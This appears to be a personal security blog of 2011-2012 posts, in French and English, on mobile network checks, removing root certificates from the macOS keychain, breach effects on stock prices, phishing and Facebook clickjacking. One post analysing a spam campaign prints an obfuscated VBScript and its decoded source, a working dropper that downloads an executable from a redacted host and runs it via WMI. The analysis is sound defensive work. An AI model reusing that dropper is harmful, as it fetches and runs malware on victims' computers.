dimanche 5 février 2012

Free Mobile ou Roaming Orange, vérifiez le vous-même avec votre iPhone ou smartphone Android

Si comme moi vous avez changé d'opérateur Mobile pour Free Mobile, vous n'avez pas pu passer à côté des lourdes accusations portées contre Free Mobile par les autres opérateurs. Eric Besson, le Ministre de l'Economie numérique a également sauté à pieds joints dans le troll en y entraînant l'ARCEP. Pour rappel, Univers Freebox avait publié la carte des 1152 antennes officiellement autorisées à émettre en fin d'année dernière.

La méthode décrite ci-dessous permet de vérifier avec votre iPhone si vous êtes connecté à une antenne Free Mobile ou en situation de roaming chez Orange. Pour les utilisateurs d'Android -personne n'est parfait :-p -, l'excellente application gratuite Freenge vous donnera toute les informations nécessaires.

Avec un iPhone, il faut passer par le menu de debug. Celui-ci est disponible par l'application Téléphone en composant le numéro spécial *3001#12345#* :


Vous obtiendrez alors le premier menu Field Test. Sélectionnez alors MM Info :


Enfin, dans MM Info, sélectionnez Serving PLMN :


Ce dernier menu vous donne le Mobile Network Code qui, mis en commun avec le Mobile Country Code, vous permet de connaitre l'opérateur sur lequel votre iPhone est connecté.

Pour la France (MCC 208) :

  • Le MNC 1 signifie que vous êtes connecté à Orange, donc en situation de roaming ;
  • Le MNC 15 signifie que vous êtes directement connecté à une antenne Free Mobile.



Dans mon cas je suis en roaming chez Orange, même en plein coeur de Paris :-(

Bon Wardriving à tous à la recherche des antennes Free Mobile :-)

samedi 10 septembre 2011

Remove a Certification Authority from Mac OS X Keychain (UPDATE)

This post is an update (and a translation) of a previous one I published more than a year ago to explain how to remove a Certification Authority (CA) from the Mac OS X Keychain.

It seems quite topical to me after the massive DigiNotar breach and the quite long time (11 days) it took to Apple to remove the compromises DigiNotar's Root CA certificate from the System with its Security Update 2011-005.

Moreover it is a common Operating System Hardening best practice to remove Root certificates of CA you've never heard of...

Certificate Authorities are a major source of trust in the current Internet and the browsers editors (Microsoft, Apple, Mozilla, Google, Opera, ...) have to choose which CA you will trust. The main problem comes from the fact that almost nobody takes some time to look at which CA are trusted by their system and for what purpose (website authentication, code signing, ...). For the record Microsoft decided to drastically reduce the amount of trusted CA in their systems a few years ago, but those days it is still possible to find some editors that didn't even remember where do some CA certificates come from... 

On Mac OS X (10.5 and after) electronic certificats are stored in a Keychain. The keychains are shared between:
  • System keychains, strored in  /System/Library/Keychains/ 
  • Users' keychains, stored in /Users/username/Library/Keychains/
Although it is possible to modify users' keychains with the Keychain application, you won't be allowed to modify system keychains and especially the SystemRoot.

As usual, the solution is in the shell ;-) The security command (man 1 security) gives you a mean to interact with the keychains and more widely with the whole OS X security framework.

The security command lets you add or remove certificates from the keychains, modify keychains access control or even specify what TLS (SSL) client certificate to use for each website. It also allows you to modify the trust level of each Root or Sub CA certificate.

The man gives you a good overview of the different possibilities:

jipe$ security help

help Show all commands, or show usage for a command.
list-keychains Display or manipulate the keychain search list.
default-keychain Display or set the default keychain.
login-keychain Display or set the login keychain.
create-keychain Create keychains and add them to the search list.
delete-keychain Delete keychains and remove them from the search list.
lock-keychain Lock the specified keychain.
unlock-keychain Unlock the specified keychain.
set-keychain-settings Set settings for a keychain.
set-keychain-password Set password for a keychain.
show-keychain-info Show the settings for keychain.
dump-keychain Dump the contents of one or more keychains.
create-keypair Create an asymmetric key pair.
add-generic-password Add a generic password item.
add-internet-password Add an internet password item.
add-certificates Add certificates to a keychain.
find-generic-password Find a generic password item.
find-internet-password Find an internet password item.
find-certificate Find a certificate item.
find-identity Find an identity (certificate + private key).
delete-certificate Delete a certificate from a keychain.
set-identity-preference Set the preferred identity to use for a service.
get-identity-preference Get the preferred identity to use for a service.
create-db Create a db using the DL.
export Export items from a keychain.
import Import items into a keychain.
cms Encode or decode CMS messages.
install-mds Install (or re-install) the MDS database.
add-trusted-cert Add trusted certificate(s).
remove-trusted-cert Remove trusted certificate(s).
dump-trust-settings Display contents of trust settings.
user-trust-settings-enable Display or manipulate user-level trust settings.
trust-settings-export Export trust settings.
trust-settings-import Import trust settings.
verify-cert Verify certificate(s).
authorize Perform authorization operations.
authorizationdb Make changes to the authorization policy database.
execute-with-privileges Execute tool with privileges.
leaks Run /usr/bin/leaks on this process.
error Display a descriptive message for the given error code(s).
To come back to our business, we have to focus on the delete-certificate command which will allow you to remove any certificate you want:

jipe$ security delete-certificate -h
Usage: delete-certificate [-c name] [-Z hash] [-t] [keychain...]
-c Specify certificate to delete by its common name
-Z Specify certificate to delete by its SHA-1 hash value
-t Also delete user trust settings for this certificate
The certificate to be deleted must be uniquely specified either by a
string found in its common name, or by its SHA-1 hash.
If no keychains are specified to search, the default search list is used.
Delete a certificate from a keychain.
But first, I recommend you to backup your System Root Certificates before to start any modification:

jipe$ cd /System/Library/Keychains/
jipe$ sudo cp SystemRootCertificates.keychain SystemRootCertificates.keychain.old

It is also possible to export each certificate in the PEM format with the Keychain application or the security command:

jipe$ sudo security export -k /System/Library/Keychains/SystemRootCertificates.keychain -t certs -o BackupCerts.pem

Let's start with a listing of keychaines present on our system, it will give you an overview of applications using keychains:

jipe$ sudo security list-keychains
"/Users/jipe/Library/Keychains/login.keychain"
"/Users/jipe/Library/Keychains/1Password.keychain"
"/Users/jipe/Library/Keychains/Microsoft_Intermediate_Certificates"
"/Users/jipe/Library/Keychains/Microsoft_Entity_Certificates"
"/Users/jipe/Library/Application Support/Adobe/AIR/ELS/TweetDeckFast.[SNIP]/PrivateEncryptedDatak"
"/System/Library/Keychains/SystemRootCertificates.keychain"
"/Library/Keychains/System.keychain"

You may have noticed something is quite odd: there is no reference to the Sub CA keychain /System/Library/Keychains/SystemCACertificates.keychain. It looks like it is not in use (anymore) ?! X509Anchors is deprecated since OS X 10.5 and is still there for compatibility reason only.

jipe$ ls -l /System/Library/Keychains/
total 1464
-rw-r--r-- 1 root wheel 3425 16 oct 11:01 EVRoots.plist
-rw-r--r-- 1 root wheel 158760 18 mai 2009 SystemCACertificates.keychain
-rw-r--r-- 1 root wheel 387552 6 avr 17:04 SystemRootCertificates.keychain
-rw-r--r-- 1 root wheel 73820 16 oct 11:01 SystemTrustSettings.plist
-rw-r--r-- 1 root wheel 282984 10 oct 2008 X509Anchors

jipe$ ls -l /Users/jipe/Library/Keychains/
total 2800
-rw-r--r-- 1 jipe staff 1112220 15 jan 20:39 foobar.keychain
-rw-r--r--@ 1 jipe staff 41976 31 mar 12:33 Microsoft_Entity_Certificates
-rw-r--r-- 1 jipe staff 26036 6 avr 16:01 Microsoft_Intermediate_Certificates
-rw-r--r-- 1 jipe staff 241836 6 avr 18:10 login.keychain
Then the dump-keychain command allow you to list every certificate in a specific keychain:


jipe$ sudo security dump-keychain /System/Library/Keychains/SystemRootCertificates.keychain

And each certificate will be displayed as followed:

keychain: "/System/Library/Keychains/SystemRootCertificates.keychain"
class: 0x80001000
attributes:
"alis"="Entrust.net Certification Authority (2048)"
"cenc"=0x00000003
"ctyp"=0x00000001
"hpky"=0x2A70953A9FF693C5F38AC5A863BB3D942CE6CA07 "*p\225:\237\366\223\305\363\212\305\250c\273=\224,\346\312\007"
"issu"=0x3081B431143012060355040A130B454E54525553542E4E45543140303E060355040B14377777772E656E74727573742E6E65742F4350535F3230343820696E636F72702E206279207265662E20286C696D697473206C6961622E2931253023060355040B131C284329203139393920454E54525553542E4E4554204C494D49544544313330310603550403132A454E54525553542E4E45542043455254494649434154494F4E20415554484F5249545920283230343829 "0\201\2641\0240\022\006\003U\004\012\023\013ENTRUST.NET1@0>\006\003U\004\013\0247www.entrust.net/CPS_2048 incorp. by ref. (limits liab.)1%0#\006\003U\004\013\023\034(C) 1999 ENTRUST.NET LIMITED1301\006\003U\004\003\023*ENTRUST.NET CERTIFICATION AUTHORITY (2048)"
"labl"="Entrust.net Certification Authority (2048)"
"skid"=0x55E481D11180BED889B908A331F9A1240916B970 "U\344\201\321\021\200\276\330\211\271\010\2431\371\241$\011\026\271p"
"snbr"=0x3863B966 "8c\271f"
"subj"=0x3081B431143012060355040A130B454E54525553542E4E45543140303E060355040B14377777772E656E74727573742E6E65742F4350535F3230343820696E636F72702E206279207265662E20286C696D697473206C6961622E2931253023060355040B131C284329203139393920454E54525553542E4E4554204C494D49544544313330310603550403132A454E54525553542E4E45542043455254494649434154494F4E20415554484F5249545920283230343829 "0\201\2641\0240\022\006\003U\004\012\023\013ENTRUST.NET1@0>\006\003U\004\013\0247www.entrust.net/CPS_2048 incorp. by ref. (limits liab.)1%0#\006\003U\004\013\023\034(C) 1999 ENTRUST.NET LIMITED1301\006\003U\004\003\023*ENTRUST.NET CERTIFICATION AUTHORITY (2048)"
Despite the great power of the shell commands I have to say I didn't find an easy/quick way to list all certificates in a good human readable way, thus I recommend you to use the Keychain application to do that.

You will find a lot of Country Root CA: Switzerland, Portugal, Belgium, etc... and it is quite fair as those countries have set up a lot of e-services for their citizens but if you are not living in one of those country it is probably okay to remove them. On the other hand the Root System also contains the chinese Root CA (CNNIC ROOT) and this one will be deleted for sure !

Once you'll have list all the certificates you want to remove, you'll have to list all the corresponding (SHA-1) hashes and to remove them with the delete-certificate command.

For example the chinese CNNIC ROOT certificate could be remove with the following command:


jipe$ sudo security delete-certificate -Z 8BAF4C9B1DF02A92F7DA128EB91BACF498604B6F /System/Library/Keychains/SystemRootCertificates.keychain
It is a long and tedious work and it is quite acceptable to only keep Root certificates from the Usertrust (UTN*), the most important CA (RSA, Entrust, Thawte, Verisign, Visa, Equifax) and country specific CA you want to trust.

Finally, if you want to restore a certificate you have deleted, you will be able to import it back from the backup you have made:


jipe$ sudo security import backup_certificates_files -k /System/Library/Keychains/SystemRootCertificates.keychain -t cert

mercredi 27 juillet 2011

Impact of the Anonymous hacktivism on Ebay's stock

Three months ago I wrote a post (in french but you may read the automated translation) about the impact of security incidents on stocks. This quick analysis revealed that only huge incidents, like Sony or EPSILON breaches, could significantly lower the price of a stock.

Today the hacktivist group "Anonymous" moved away from their traditional DDOS attacks to hit Paypal which has blocked donations to Wikileaks for a while now. They asked to whoever wants to join their cause to close their Paypal account. Wikileaks has confirmed his support to the operation.



In a few hours the so called #OpPaypal jumped to the top of Twitter trends (#3) and the anonymous announced up to 35k closed accounts. From a financial point of view the Anonymous, many users and even websites claimed the operation chopped $1 billion off eBay stock value. I don't think so...

Four hours after the opening of the stock exchange Ebay, the parent company of Paypal, was dropping by 2%. But the NASDAQ, the Dow Jones and even the S&P 500 were falling the same way. It's important to mention that the NASDAQ index is composed of all stocks listed on the NASDAQ stock market -more than 3000-, thus it's not prone to a big variation caused by the underlying variation of only one of its component.



Finally, the correlation between the Ebay's stock and the NASDAQ is obvious. I don't know what was the impact of the Anonymous operation on the Ebay's stock, but there is every indication that it's definitely NOT $1B !

I'm pretty sure all dumb news websites will repeat that "$1B loss" in the upcoming hours and days...

EDIT 1: By the end of the day all indexes has fallen between 1,5% and 2,5% for a fourth day due to signs of weakness in the economy and the Ebay's stock curve followed them.


All charts come from google finance.

mardi 28 juin 2011

Unobfuscate Visual Basic Script malware dropper

A quick post to give a very efficient way to unobfuscate some softly obfuscated Visual Basic Scripts.

In a recent viral spam campaign a .vbs file was attached to the email and when I tried to read it I had a common bad surprise. It was obfuscated.

The obfuscated content was as follow :

Execute (chr( 659772/8046 ) & chr( 4813-4716 ) & chr( 3417-3307 ) & chr( -2632+2732 ) & chr( 1590-1479 ) & chr( 51012/468 ) & chr( 8863-8758 ) & chr( 5043-4921 ) & chr( -9292+9393 ) & chr( 5616-5603 ) & chr( 2240/224 ) & chr( -5205+5315 ) & chr( 747773/7709 ) & chr( 373761/3429 ) & chr( -7356+7457 ) & chr( 1748-1672 ) & chr( -6156+6257 ) & chr( 264550/2405 ) & chr( -6511+6614 ) &
[...]
& chr( -5402+5436 ) & chr( 446823/6669 ) & chr( 1132590/9935 ) & chr( 380467/3767 ) & chr( 317190/3270 ) & chr( -8794+8910 ) & chr( -5560+5661 ) & chr( 5345-5311 ) & chr( -7211+7255 ) & chr( 5597-5565 ) & chr( 2777-2666 ) & chr( 2531-2433 ) & chr( -7894+8000 ) & chr( -2045+2125 ) & chr( 504-390 ) & chr( 8658/78 ) & chr( 125-22 ) & chr( 1053360/9240 ) & chr( 453572/4676 ) & chr( 959-850 ) & chr( 276545/6745 ) & chr( 7730-7717 ) & chr( 27750/2775 ) & vbcrlf )

A pretty simple, but annoying, obfuscation technique. Each character of the code is replaced by a call to the chr() function with an arithmetic operation that gives the character code as a parameter.

To unobfuscate it I used a well known Javascript unobfuscation technique and replace the Execute function by something that writes the code to the command line :

Dim console
Set console = WScript.StdOut

console.WriteLine (chr( 659772/8046 ) & chr( 4813-4716 ) & chr( 3417-3307 ) & chr( -2632+2732 ) & chr( 1590-1479 ) & chr( 51012/468 ) & chr( 8863-8758 ) & chr( 5043-4921 ) & chr( -9292+9393 ) & chr( 5616-5603 ) & chr( 2240/224 ) & chr( -5205+5315 ) & chr( 747773/7709 ) & chr( 373761/3429 ) & chr( -7356+7457 ) & chr( 1748-1672 ) & chr( -6156+6257 ) & chr( 264550/2405 ) & chr( -6511+6614 ) &

[...]

& chr( -5402+5436 ) & chr( 446823/6669 ) & chr( 1132590/9935 ) & chr( 380467/3767 ) & chr( 317190/3270 ) & chr( -8794+8910 ) & chr( -5560+5661 ) & chr( 5345-5311 ) & chr( -7211+7255 ) & chr( 5597-5565 ) & chr( 2777-2666 ) & chr( 2531-2433 ) & chr( -7894+8000 ) & chr( -2045+2125 ) & chr( 504-390 ) & chr( 8658/78 ) & chr( 125-22 ) & chr( 1053360/9240 ) & chr( 453572/4676 ) & chr( 959-850 ) & chr( 276545/6745 ) & chr( 7730-7717 ) & chr( 27750/2775 ) & vbcrlf )

Then I just had to execute the modified .vbs file with the cscript command to get the source :

C:\Users\lab\Desktop\Red Zone>cscript xxxxxxx.vbs
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation 1996-2001. Tous droits réservés.

Randomize
nameLength = 10
randomname = ""
Do While Len(randomname) < nameLength
currRandCur = Int(Rnd * 255)
If currRandCur >= Asc("a") And currRandCur <= Asc("z") _
Or currRandCur >= Asc("A") And currRandCur <= Asc("Z") _
Or currRandCur >= Asc("0") And currRandCur <= Asc("9") Then
randomname = randomname & Chr(currRandCur)
End If
Loop
strSource = "http://xxxxxxxxxxxxx.com/includes/Archive/xxxxx.exe"
strDest = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\" & randomname & ".exe"
set HTTP = CreateObject("Microsoft.XMLHTTP")
HTTP.open "GET", strSource, False
HTTP.send
set Stream = createobject("adodb.stream")
Const adTypeBinary = 1
Const adSaveCreateNotExist = 1
Const adSaveCreateOverWrite = 2
Stream.type = adTypeBinary
Stream.open
Stream.write HTTP.responseBody
Stream.savetofile strDest, adSaveCreateOverWrite
set Stream = nothing
set HTTP = nothing

set objWMIService = getobject("winmgmts://./root/cimv2")
Set objProcess = objWMIService.Get("Win32_Process")
Set objProgram = objProcess.Methods_( _
"Create").InParameters.SpawnInstance_
objProgram.CommandLine = strDest
Set strShell = objWMIService.ExecMethod("Win32_Process", "Create", objProgram)

Finally the code is pretty simple, it's a dropper that downloads another Malware to the machine, saves it to a 'random' name and executes it through WMI.

Quick, not so dirty and nothing really new... but efficient ;)

That's all folks.

mercredi 20 avril 2011

Impact des incidents de sécurité sur les cours de sociétés cotées

Il est complexe d'évaluer l'impact d'un incident de sécurité, notamment en terme d'image. Le coût direct d'un incident est quant à lui évalué à ce jour entre 98$ et 214$ par enregistrement compromis. Ces chiffres varient grandement et sont à utiliser avec la plus grande prudence.

Néanmoins, pour les sociétés cotées en bourse on dispose d'une donnée objective: le cours du titre. Cette donnée permet un début d'analyse d'impact externe.

Pour y regarder de plus près, ce billet se borne à un sous-ensemble des variations de cotation -sur le marché US- lors des attaques et vols d'informations très médiatisés en 2010 (Aurora, Night Dragon) et début 2011. Les résultats sont surprenants ;-)

UPDATE 1 : SONY

SONY
  • Billet sur le blog officiel le 26 avril 2011. Compromission possible des 70 millions de comptes du PlayStation Network.
  • Chute très significative du cours
  • Augmentation importante du volume échangé


Turbomeca (SAFRAN)
  • Article de presse le 10 avril 2011. Turboméca aurait été victime d'espionnage industriel.
  • Tendance baissière, impact difficile à évaluer
  • Pas d'augmentation significative du volume échangé


Alliance Data System (EPSILON)
  • Communiqué de presse le 1 avril 2011. Fuite d'une partie des 40 millions de contacts de leur clients.
  • Chute très significative du cours
  • Augmentation importante du volume échangé


RSA (EMC)
  • Communiqué de presse le 17 mars 2011. Attaque ciblée ayant affectée leur produit SecurID.
  • Tendance haussière, pas de chute du cours
  • Pas d'augmentation significative du volume échangé


DuPont (Aurora)
  • Billet de Kaspersky le 10 mars 2011 suite à la compromission de HB Gary
  • Tendance haussière, pas de chute du cours
  • Pas d'augmentation significative du volume échangé



Exxon (Night Dragon)
  • Article de Bloomberg le 24 février 2011. Attaque ciblée sur le secteur de l'énergie.
  • Tendance baissière, impact difficile à évaluer
  • Pas d'augmentation significative du volume échangé


Shell (Night Dragon)
  • Article de Bloomberg le 24 février 2011. Attaque ciblée sur le secteur de l'énergie.
  • Tendance baissière, impact difficile à évaluer
  • Pas d'augmentation significative du volume échangé


BP (Nigth Dragon)
  • Article de Bloomberg le 24 février 2011. Attaque ciblée sur le secteur de l'énergie.
  • Tendance baissière, impact difficile à évaluer
  • Pas d'augmentation significative du volume échangé


Bank Of America (Wikileaks)
  • Annonce par Wikileaks le 29 novembre 2010 de la divulgation de documents compromettants pouvant faire tomber une banque.
  • Chute significative du cours
  • Augmentation significative du volume échangé


AT&T


APPLE (AT&T)
  • Tendance haussière, pas de chute du cours
  • Pas d'augmentation significative du volume échangé


Google (Aurora)
  • Billet sur leur blog le 12 Janvier 2010. Attaque ciblée contre plusieurs sociétés.
  • Tendance baissière, impact difficile à évaluer
  • Pas d'augmentation significative du volume échangé


Le constat est plutôt intéressant, -voire contraire à l'idée reçue- la plupart du temps les investisseurs s'en moquent !

Il y a en effet très peu d'impact sur les marchés. La seule exception flagrante est EPSILON, mais leur incident reste un des vols d'informations les plus importants connus à ce jour. Enfin, concernant Bank of America cela pourrait bien devenir un cas d'école de déstabilisation où de supposées révélations ont sérieusement affecté le titre, sans qu'un fondement bien réel ai été apporté.

Je profite également de ce billet pour pointer l'excellent rapport de Verizon "2011 Data Breach Investigations Report", réalisé conjointement avec l'USSS et le NHTCU.

PS: Les graphiques -capturés à l'arrache- proviennent de Google Finance.

jeudi 14 avril 2011

Les utilisateurs de mobiles et le phishing

Un quick-post pour signaler un billet plutôt intéressant de Trusteer sur l'impact du phishing sur les utilisateurs de smartphones.

Ils seraient 3 fois plus vulnérables que les utilisateurs classiques.
  • Ils sont les premiers à arriver sur les pages de phishing car ils sont toujours connectés. On sait aujourd'hui que ce sont les premières heures qui sont les plus critiques.
  • Ils sont trois fois plus enclins à fournir leur identifiant. Principalement à cause des limitations des interfaces qui ne permettraient pas de détecter la fraude.
  • Les utilisateurs d'iPhone accèdent 8 fois plus aux sites frauduleux que ceux de Blackberry, une fois de plus à cause de l'interface. Les utilisateurs de BB seraient plus des professionnels et seraient donc plus sensibilisés à ce type d'attaques.

Je vous laisse juger, le billet complet est ici.

lundi 7 mars 2011

Facebook: Trust no click.

Facebook est comme un champs de mines: ll faut regarder où l'on met ses pieds, ou plutôt ses doigts.

Ce post n'a d'autre but que de confirmer qu'il est plutôt simple de se faire hijacker son mur. Il n'y a pas grand chose de nouveau au pays du clickjacking mais l'appât est plutôt malin. C'est aussi pour moi l'occasion de redonner vie à ce blog délaissé depuis trop long :)

Rien à voir donc avec un certain éditeur qui a du secrètement se fixer l'objectif de faire un post pour chaque application malveillante sur Facebook...

EDIT 1: Le phénomène prend tellement d'importance que 01net.com a publié un article sur le sujet.

Récemment une vidéo au nom sans ambiguité se propage à un rythme effréné (cf. le nombre de like) :


Lorsque l'intéressé souhaite lire la vidéo il se voit présenter un "contrôle anti-robot". Ce type de protection -ou Captcha- est assez commune pour que l'utilisateur ne soit pas inquiété.



Une fois que l'on a clické sur le bouton rouge, puis le vert, on accède vaguement à un site bien fourni en publicité. C'est en retournant sur son profil que l'utilisateur se rendra compte du trick. Il a à l'insu de son plein gré (c) "liker" la vidéo et l'a publiée sur son mur.

Comment ? Simple.

Le contrôle anti-robot est bien évidemment un leurre. Deux div contenant des iframes sont superposés.

Le premier pour le "like":


Le second pour ajouter la vidéo à son mur:



Lorsque l'utilisateur clickera sur les boutons, il va émettre les requêtes HTTP asynchrones -et donc peu visibles pour lui- et il sera 0wned.

Il ne lui restera plus qu'a supprimer la publication, supprimer le "like" et la signaler comme indésirable.

EDIT 2: Il semblerait que l'éditeur soit devenu un peu plus raisonnable.